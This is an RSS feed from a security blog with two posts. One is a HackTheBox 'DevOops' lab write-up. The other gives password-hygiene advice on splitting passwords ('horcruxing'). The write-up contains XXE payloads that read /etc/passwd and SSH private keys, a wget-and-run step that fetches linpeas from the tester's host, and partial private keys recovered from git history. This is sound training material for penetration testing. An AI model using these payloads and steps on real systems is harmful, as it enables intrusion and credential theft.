<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Kaizoku Dev]]></title><description><![CDATA[Kaizoku Dev]]></description><link>https://kaizoku.dev</link><generator>RSS for Node</generator><lastBuildDate>Sun, 19 Apr 2026 08:03:10 GMT</lastBuildDate><atom:link href="https://kaizoku.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[HTB - DevOops]]></title><description><![CDATA[Introduction
 DevOops  is a Medium-rated retired machine on HackTheBox, and also appears on the  TJ Null list for OSCP prep.

Recon
We begin with a basic TCP/ UDP ports scan. 
TCP/ UDP Ports Scan and Service Enumeration
# TCP ports scan
nmap -Pn -sT ...]]></description><link>https://kaizoku.dev/htb-devoops</link><guid isPermaLink="true">https://kaizoku.dev/htb-devoops</guid><category><![CDATA[hacking]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Phani Karan]]></dc:creator><pubDate>Fri, 10 Dec 2021 17:29:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1638616119064/nvsC955mO.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p> <a target="_blank" href="https://app.hackthebox.com/machines/DevOops/">DevOops</a>  is a Medium-rated retired machine on HackTheBox, and also appears on the  <a target="_blank" href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159">TJ Null list for OSCP prep</a>.</p>
<p><br /></p>
<h1 id="heading-recon">Recon</h1>
<p>We begin with a basic TCP/ UDP ports scan. </p>
<h3 id="heading-tcp-udp-ports-scan-and-service-enumeration">TCP/ UDP Ports Scan and Service Enumeration</h3>
<pre><code class="lang-bash"><span class="hljs-comment"># TCP ports scan</span>
nmap -Pn -sT -p- --min-rate 10000 \
-oN nmap/tcp_ports_scan <span class="hljs-variable">$IP</span>

<span class="hljs-comment"># PORT      STATE    SERVICE</span>
<span class="hljs-comment"># 22/tcp    open     ssh</span>
<span class="hljs-comment"># 5000/tcp  open     upnp</span>
<span class="hljs-comment"># 50627/tcp filtered unknown</span>

<span class="hljs-comment"># UDP ports scan</span>
nmap --privileged -Pn -sU -p- --min-rate 10000 \
-oN nmap/udp_ports_scan <span class="hljs-variable">$IP</span>

<span class="hljs-comment"># no UDP ports open</span>
</code></pre>
<p>No UDP ports are open. Now, we perform service enumeration, version detection, and script scan on the open TCP ports.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># TCP script scan</span>
nmap -Pn -sT -A -p 22,5000,50627 -oN nmap/tcp_script_scan <span class="hljs-variable">$IP</span>

<span class="hljs-comment"># PORT      STATE  SERVICE VERSION</span>
<span class="hljs-comment"># 22/tcp    open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4</span>
<span class="hljs-comment"># 5000/tcp  open   http    Gunicorn 19.7.1</span>
<span class="hljs-comment"># 50627/tcp closed unknown</span>
</code></pre>
<h3 id="heading-further-discovery-and-vulnerability-assessment">Further Discovery and Vulnerability Assessment</h3>
<p>With the services and their versions at hand, we can search for any available exploits using searchsploit.</p>
<pre><code class="lang-bash">searchsploit openssh 7.2
<span class="hljs-comment"># no known exploits</span>

searchsploit gunicorn
<span class="hljs-comment"># no known exploits</span>
</code></pre>
<p>Even upon further googling, we do not see any off-the-shelf exploits for these services.</p>
<p>There is a website running on port 5000. Let's check for some common directories.</p>
<pre><code class="lang-bash">ffuf -u http://<span class="hljs-variable">$IP</span>:5000/FUZZ -w <span class="hljs-variable">$COMMON_DIRS</span> -e .php,.txt,.html \
-t 500 -ic -rate 1000 -r -c | tee ffuf/common_dirs.txt

<span class="hljs-comment"># feed                    [Status: 200, Size: 546263, Words: 6030, Lines: 1816]</span>
<span class="hljs-comment"># upload                  [Status: 200, Size: 347, Words: 44, Lines: 1]</span>


ffuf -u http://<span class="hljs-variable">$IP</span>:5000/FUZZ -w <span class="hljs-variable">$MEDIUM_DIRS</span> -e .php,.txt,.html \
-t 500 -ic -rate 1000 -r -c | tee ffuf/medium_dirs.txt

<span class="hljs-comment"># feed                    [Status: 200, Size: 546263, Words: 6030, Lines: 1816]</span>
<span class="hljs-comment"># upload                  [Status: 200, Size: 347, Words: 44, Lines: 1]</span>
</code></pre>
<p>In http://10.10.10.91:5000/upload, we can upload XML files with the elements - Author, Subject, Content</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638597565834/vrULjoZI2.png" alt="2021-12-04_11-27.png" /></p>
<p>Let's create a sample <code>abc.xml</code> file as follows and upload it.</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;?xml version="1.0"?&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">Book</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Author</span>&gt;</span>Frank<span class="hljs-tag">&lt;/<span class="hljs-name">Author</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Subject</span>&gt;</span>SciFi<span class="hljs-tag">&lt;/<span class="hljs-name">Subject</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Content</span>&gt;</span>Dune<span class="hljs-tag">&lt;/<span class="hljs-name">Content</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">Book</span>&gt;</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638597554998/Q9NDoqbvQ.png" alt="2021-12-04_11-28.png" />
This direction seems promising. We have a dump of new info -</p>
<ul>
<li>the server has a user called <code>roosa</code></li>
<li>abc.xml has been uploaded to <code>/home/roosa/deploy/src</code> on the server, and can now be accessed at http://10.10.10.91:5000/uploads/abc.xml</li>
</ul>
<p>As expected, <code>abc.xml</code> is available at http://10.10.10.91:5000/uploads/abc.xml</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638597927088/9tNRpGm5s.png" alt="2021-12-04_11-34.png" /></p>
<p>As soon as we see XML, the embers of XXE ignite in our hearts. Let's fan those embers into flames. If you don't know what XXE injection is, please check out this post - https://portswigger.net/web-security/xxe.</p>
<p>Let's create a <code>passwd.xml</code> as follows and upload it.</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;?xml version="1.0"?&gt;</span>
<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">foo</span> [ <span class="hljs-meta">&lt;!ENTITY <span class="hljs-meta-keyword">xxe</span> <span class="hljs-meta-keyword">SYSTEM</span> <span class="hljs-meta-string">"file:///etc/passwd"</span>&gt;</span> ]&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">Book</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Author</span>&gt;</span>Frank<span class="hljs-tag">&lt;/<span class="hljs-name">Author</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Subject</span>&gt;</span>SciFi<span class="hljs-tag">&lt;/<span class="hljs-name">Subject</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Content</span>&gt;</span><span class="hljs-symbol">&amp;xxe;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Content</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">Book</span>&gt;</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638598471395/2I4m8OkAe.png" alt="2021-12-04_11-43.png" /></p>
<p>Bingo! Now, that's the XXE injection we all know and love.
It's cropped in the image above, but if we scroll down, we will find an entry for <code>roosa</code> in <code>/etc/passwd</code> -
<code>roosa:x:1002:1002:,,,:/home/roosa:/bin/bash</code></p>
<p><br /></p>
<hr />
<h1 id="heading-checkpoint-1-spoilers-ahead">CHECKPOINT #1 - SPOILERS AHEAD</h1>
<p><strong>Now that we know XXE works, I'd highly suggest you to give a sincere shot at getting to the user shell on your own before proceeding further with this write-up.</strong></p>
<p><strong>The fruits of one's own work are always the sweetest.</strong></p>
<hr />
<p><br /></p>
<h1 id="heading-gaining-foothold-user-shell">Gaining Foothold - User Shell</h1>
<h3 id="heading-enumeration">Enumeration</h3>
<p>Since we are able to read files on the server, let's be a little ambitious and try to read files from roosa's home directory. Since the SSH port was open, roosa's id_rsa private key file seems like a good target. Let's try reading the following files - </p>
<ul>
<li><code>/home/roosa/user.txt</code></li>
<li><code>/home/roosa/.ssh/id_rsa</code></li>
</ul>
<p>We can exfiltrate both of them with <code>user.xml</code> and <code>id_rsa.xml</code> as shown below. All you need to do is change <code>/etc/passwd</code> to the respective user.txt and id_rsa paths.</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;?xml version="1.0"?&gt;</span>
<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">foo</span> [ <span class="hljs-meta">&lt;!ENTITY <span class="hljs-meta-keyword">xxe</span> <span class="hljs-meta-keyword">SYSTEM</span> <span class="hljs-meta-string">"file:///home/roosa/user.txt"</span>&gt;</span> ]&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">Book</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Author</span>&gt;</span>Frank<span class="hljs-tag">&lt;/<span class="hljs-name">Author</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Subject</span>&gt;</span>SciFi<span class="hljs-tag">&lt;/<span class="hljs-name">Subject</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Content</span>&gt;</span><span class="hljs-symbol">&amp;xxe;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Content</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">Book</span>&gt;</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638599645573/KtZe6SEyd.png" alt="2021-12-04_12-02.png" /></p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;?xml version="1.0"?&gt;</span>
<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">foo</span> [ <span class="hljs-meta">&lt;!ENTITY <span class="hljs-meta-keyword">xxe</span> <span class="hljs-meta-keyword">SYSTEM</span> <span class="hljs-meta-string">"file:///home/roosa/.ssh/id_rsa"</span>&gt;</span> ]&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">Book</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Author</span>&gt;</span>Frank<span class="hljs-tag">&lt;/<span class="hljs-name">Author</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Subject</span>&gt;</span>SciFi<span class="hljs-tag">&lt;/<span class="hljs-name">Subject</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Content</span>&gt;</span><span class="hljs-symbol">&amp;xxe;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Content</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">Book</span>&gt;</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638599655831/gQht33GeT.png" alt="2021-12-04_12-03.png" /></p>
<p>Naaice! We got roosa's ssh private key. Let's copy it into a file on our local machine - <code>roosa_id_rsa</code></p>
<h3 id="heading-exploitation">Exploitation</h3>
<pre><code class="lang-bash"><span class="hljs-comment"># since ssh does not accept loose permissions on private key files</span>
chmod 600 roosa_id_rsa
ssh -i roosa_id_rsa roosa@<span class="hljs-variable">$ip</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638602346976/2fw2r12Ej.png" alt="Screenshot from 2021-12-04 12-48-42.png" /></p>
<p><br /></p>
<h1 id="heading-privilege-escalation-root-shell">Privilege Escalation - Root Shell</h1>
<h3 id="heading-enumeration">Enumeration</h3>
<p>Let's start a HTTP server on our local machine to host useful binaries &amp; scripts like linpeas.sh which we will download and run on the DevOops server.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># on local</span>
python3 -m http.server 1337 --directory=/home/bob/Code/HTB/bins

<span class="hljs-comment"># on remote</span>
roosa@gitter:/tmp$  <span class="hljs-built_in">cd</span> /tmp; 
roosa@gitter:/tmp$  wget http://10.10.15.15:1337/linux/privesc/linpeas.sh; 
roosa@gitter:/tmp$  chmod +x linpeas.sh; 
roosa@gitter:/tmp$  ./linpeas.sh &gt; linpeas.txt &amp;
</code></pre>
<p>Let's look at only the most interesting pieces of linpeas output.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># tcp port 631 is open but only accessible from the DevOops server</span>
<span class="hljs-comment"># note that our initial nmap scan did not reveal this port</span>
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -
</code></pre>
<p>Port 631 is used by Internet Printing Protocol (IPP). From experience, it's not a great attack vector for privilege escalation. Still, noted.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># root is allowed to login via ssh but only with a valid private key </span>
PermitRootLogin prohibit-password                                        
PubkeyAuthentication yes                                                                                                                          
PermitEmptyPasswords no
</code></pre>
<p>This attack vector seems promising. We need to be on the lookout for root's ssh private key.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># interesting files in roosa's home directory</span>
/home/roosa/deploy/resources/integration/authcredentials.key
/home/roosa/work/blogfeed/resources/integration/authcredentials.key
/home/roosa/work/blogfeed/.git


roosa@gitter:~$ cat /home/roosa/deploy/resources/integration/authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
.
.
.
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----


roosa@gitter:~$ cat /home/roosa/work/blogfeed/resources/integration/authcredentials.key                                                           
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
.
.
.
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----
</code></pre>
<p>Both of them are identical and could be root's ssh private key. Let's create a <code>root_id_rsa</code> file and try logging in as root via ssh. </p>
<pre><code class="lang-bash"><span class="hljs-comment"># since ssh does not accept loose permissions on private key files</span>
chmod 600 root_id_rsa
ssh -i root_id_rsa root@<span class="hljs-variable">$ip</span>
</code></pre>
<p>Nada! That didn't work. It prompts for a root password despite supplying the ssh private key.</p>
<p><br /></p>
<hr />
<h1 id="heading-checkpoint-2-spoilers-ahead">CHECKPOINT #2 - SPOILERS AHEAD</h1>
<p><strong>Now that root ssh login seems likely, I'd highly suggest you to give a sincere shot at getting to the root shell on your own before proceeding further with this write-up.</strong></p>
<p><strong>The fruits of one's own work are always the sweetest.</strong></p>
<hr />
<p><br /></p>
<p><code>/home/roosa/work/blogfeed/</code> seems to be a git repository since it has a <code>.git</code> directory. Let's take a look at the commit history for interesting files from the past.</p>
<pre><code class="lang-bash">roosa@gitter:~/work/blogfeed$ git <span class="hljs-built_in">log</span>

commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson &lt;roosa@solita.fi&gt;
Date:   Mon Mar 26 06:13:55 2018 -0400

    Use Base64 <span class="hljs-keyword">for</span> pickle feed loading

commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson &lt;roosa@solita.fi&gt;
Date:   Tue Mar 20 15:37:00 2018 -0400

    Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.

commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson &lt;roosa@solita.fi&gt;
Date:   Tue Mar 20 15:08:09 2018 -0400

    Debug support added to make development more agile.

commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson &lt;roosa@solita.fi&gt;
Date:   Tue Mar 20 08:38:21 2018 -0400

    Blogfeed app, initial version.

commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson &lt;roosa@solita.fi&gt;
Date:   Tue Mar 20 08:37:56 2018 -0400

    Gunicorn startup script

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson &lt;roosa@solita.fi&gt;
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson &lt;roosa@solita.fi&gt;
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key <span class="hljs-keyword">for</span> feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson &lt;roosa@solita.fi&gt;
Date:   Mon Mar 19 09:24:30 2018 -0400

    Initial commit
</code></pre>
<p>The commit message for commit <code>33e87c312c08735a02fa9c796021a4a3023129ad</code> reads ' reverted accidental commit with proper key'.  Let's look at the <code>authcredentials.key</code> file in that commit.</p>
<pre><code class="lang-bash">roosa@gitter:~/work/blogfeed$ git show 33e87c312c08735a02fa9c796021a4a3023129ad:./resources/integration/authcredentials.key

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
.
.
.
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----
</code></pre>
<p>It's the same 'fake' private key we found earlier. If this commit 'reverted accidental commit with proper key', let's look at the <code>authcredentials.key</code> file in the previous commit <code>d387abf63e05c9628a59195cec9311751bdb283f</code> </p>
<pre><code class="lang-bash">roosa@gitter:~/work/blogfeed$ git show d387abf63e05c9628a59195cec9311751bdb283f:./resources/integration/authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
.
.
.
oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
-----END RSA PRIVATE KEY-----
</code></pre>
<p>This private key is different. Let's load it up into <code>root_id_rsa</code> and try again.</p>
<h3 id="heading-exploitation">Exploitation</h3>
<pre><code class="lang-bash">ssh -i root_id_rsa root@<span class="hljs-variable">$ip</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638615439766/oS7UiFUAQ.png" alt="Screenshot from 2021-12-04 16-26-53.png" /></p>
<h3 id="heading-fin"><em>Fin!</em></h3>
<p><br /></p>
<h1 id="heading-a-few-more-things">A Few More Things</h1>
<p>Normally, we use sudo when running an nmap UDP scan or some custom TCP scans since they require permissions to listen on the network interface, craft raw packets, etc. But, using sudo always is not ideal. Instead we can grant the exact capabilities required to the nmap binary so as to not use sudo each time.</p>
<pre><code class="lang-bash">sudo <span class="hljs-built_in">setcap</span> cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(<span class="hljs-built_in">which</span> nmap)
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Double Blind Passwords (aka Horcruxing)]]></title><description><![CDATA[Before we get into Horcruxing, here's a quick prologue on online security hygiene. You can skip to the  Horcruxing section  if it seems redundant.
Rules for Strong Online Security
1.
Longer passwords (atleast 16 characters) are better than shorter on...]]></description><link>https://kaizoku.dev/double-blind-passwords-aka-horcruxing</link><guid isPermaLink="true">https://kaizoku.dev/double-blind-passwords-aka-horcruxing</guid><category><![CDATA[Security]]></category><category><![CDATA[passwords]]></category><category><![CDATA[privacy]]></category><dc:creator><![CDATA[Phani Karan]]></dc:creator><pubDate>Sat, 12 Dec 2020 11:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1607775961422/elXIChWIZ.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Before we get into Horcruxing, here's a quick prologue on online security hygiene. You can skip to the  <a class="post-section-overview" href="#double-blind-passwords-aka-horcruxing">Horcruxing section</a>  if it seems redundant.</p>
<h3 id="rules-for-strong-online-security">Rules for Strong Online Security</h3>
<p>1.
<strong>Longer passwords (atleast 16 characters) are better than shorter ones</strong></p>
<pre><code>=&gt; cutesamantha15101995 &gt; cutesamantha
</code></pre><p>2.
<strong>Randomized passwords are better than personally identifiable passwords</strong></p>
<pre><code>=&gt; process-cancel-stingy-garnet &gt; cutesamantha15101995
</code></pre><p><strong>NOTE: </strong> <code>process-cancel-stingy-garnet</code> is technically a passphrase - basically an easy-to-remember password in comparison to randomized strings like <code>B6fSpxMj&amp;f6DU@5^k</code></p>
<p>3.
<strong>Have a <em>significantly</em> different password for each account</strong></p>
<p>Having the same password for different accounts is like using the same key for different locks. It beats the whole point of having multiple locks! Also, having different passwords but with only one easily guessable word different (like the ones below) still poses the same risk. The passwords should be <strong><em>significantly</em></strong> different.</p>
<pre><code>bounce-unfold-stunning-chute        process-cancel-stingy-facebook
symptom-untouched-unpaid-arena  &gt;   process-cancel-stingy-twitter
sediment-tweak-annually-koala       process-cancel-stingy-gmail
</code></pre><p>4.
<strong>Use 2FA/MFA wherever possible</strong></p>
<p>Both Google and Facebook offer a 2FA feature where you need the second factor only when you login from a new device or a new location, instead of needing 2FA every time. That's a rare combination of convenience &amp; security right there! 
Most other sites also offer some variation of 2FA.</p>
<p><strong>NOTE</strong>: Use the  <a target="_blank" href="https://play.google.com/store/apps/details?id=org.shadowice.flocke.andotp">andOTP</a>  (or any other) app's TOTP as the second factor since it cannot be spoofed or spied on lock-screen like the SMS OTP and does not require a mobile network or internet connection. You can also use Biometrics (finger print or face recognition)</p>
<blockquote>
<p>Woah! How do I create a long password for each of the bazillion websites out there, <em>and</em> have them significantly different <em>and</em> remember them? Security seems like such a pain in the ass!</p>
</blockquote>
<h3 id="enter-password-manager">[enter] <strong>PASSWORD MANAGER</strong></h3>
<p>A password manager helps you manage all your passwords in one place, either in the form of a browser extension, mobile app, or website. Good password managers will offer a browser extension and a mobile app with one-click auto-fill-login-page feature by removing the hassle of copy pasting or typing your login details. A few smart ones even detect phishing pages and warn you indirectly, by not showing the login details for such web pages.</p>
<p>They enable all the above measures for strong online security with ease. While I agree it takes some effort to set it up for the very first time. But, after that, it just flows like butter. </p>
<p><br />
For example, password generator in <a target="_blank" href="https://bitwarden.com/">BitWarden</a> lets you custom design your random password in different flavours.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1607770748804/m93T3kqUH.png" alt="BitWarden's password generator" /></p>
<h3 id="yay-im-secure">YAY! I'm Secure!</h3>
<p>You meticulously move all your passwords and secrets to a trusted password manager. Finally, you can rest easy knowing that your digital life is truly secure. Or, is it?  <br /></p>
<strong>What if </strong>

<ul>
<li>your master password (the password to your password manager) is compromised due to a security breach or you left it in plaintext on a post-it/ email/ notes app</li>
<li>someone gained temporary access to your unlocked system (computer or phone) when you stepped away to get that last coffee for the day and your password manager is still logged in for everyone to see</li>
</ul>
<p>The answer: you're <strong><em>screwed</em></strong>. The cost of putting all your eggs in one basket is that it could all go into oblivion in one fell swoop. How do you overcome this challenge now? </p>
<h3 id="double-blind-passwords-aka-horcruxing">Double Blind Passwords (aka Horcruxing)</h3>
<p>For all his faults, Voldemort did one good thing for us muggles. He gave us the concept of a horcrux. For the uninitiated, a horcrux is any object in which you store a piece of your soul, putting the proverbial eggs of your soul into different baskets, to gain quasi-immortality. </p>
<p><strong>The basic idea</strong>: You split your password into 2 parts - one which is stored in the password manager, and the other which is stored in your head (aka horcrux).</p>
<p>Basically, at any given point in time, you and your password manager know only a piece of the password. It's double-blind. In effect, just like You-Know-Who, you're splitting your password (soul) into pieces and storing them in different places.</p>
<h4 id="before">BEFORE</h4>
<pre><code><span class="hljs-comment"># As stored in the password manager</span>
<span class="hljs-section">username: rick</span>
<span class="hljs-section">password: rollthepeople1732</span>

<span class="hljs-comment"># Actual credentials</span>
<span class="hljs-section">username: rick</span>
<span class="hljs-section">password: rollthepeople1732</span>
</code></pre><h4 id="after">AFTER</h4>
<pre><code><span class="hljs-comment"># As stored in the password manager</span>
<span class="hljs-section">username: rick</span>
<span class="hljs-section">password: roll-the-people-venus</span>

<span class="hljs-comment"># As stored in your head</span>
<span class="hljs-section">horcrux: papel</span>

<span class="hljs-comment"># Actual credentials</span>
<span class="hljs-section">username: rick</span>
<span class="hljs-section">password: roll-the-people-venuspapel</span>
</code></pre><p>The horcrux adds an additional layer of security that only you can unlock. It's a kind of 2FA. Again, the longer the horcrux the better. But, a simple word should also be fine as long as only you know the horcrux.</p>
<p>If it feels like too much effort, use a horcrux only for the most important logins - your social media, bank accounts etc. </p>
<h3 id="one-last-thing">One Last Thing</h3>
<p>Security is never absolute. One can try to secure a system as tightly as possible, but never really say that it is fully secure (if you see someone claiming otherwise, it's mostly marketing bullshit). If we cannot make systems completely secure, the next best thing to do is to make them as secure as possible and a good way to do it is <a target="_blank" href="https://en.wikipedia.org/wiki/Defense_in_depth_(computing">Defense In Depth</a> - basically make sure that even if one layer of security is breached, there exist other layers to mitigate further damage - which is what we've tried to achieve all along.</p>
<h3 id="summary">Summary</h3>
<p>1.
Use a good password manager </p>
<blockquote>
<p>I use BitWarden (since it is open source and costs just $10 a year for the PRO features)</p>
</blockquote>
<p>2.
Use TOTP/ biometrics instead of SMS-based OTP</p>
<blockquote>
<p>I use andOTP (since it is open source)</p>
</blockquote>
<p>3.
Use a horcrux (a double-blind password) for the most important logins</p>
<p><br /></p>
<p>P.S. Keep in mind that horcruxing only works fine until you connect your brain to NeuraLink and accidentally upload your thoughts online for everyone to see. :P</p>
]]></content:encoded></item></channel></rss>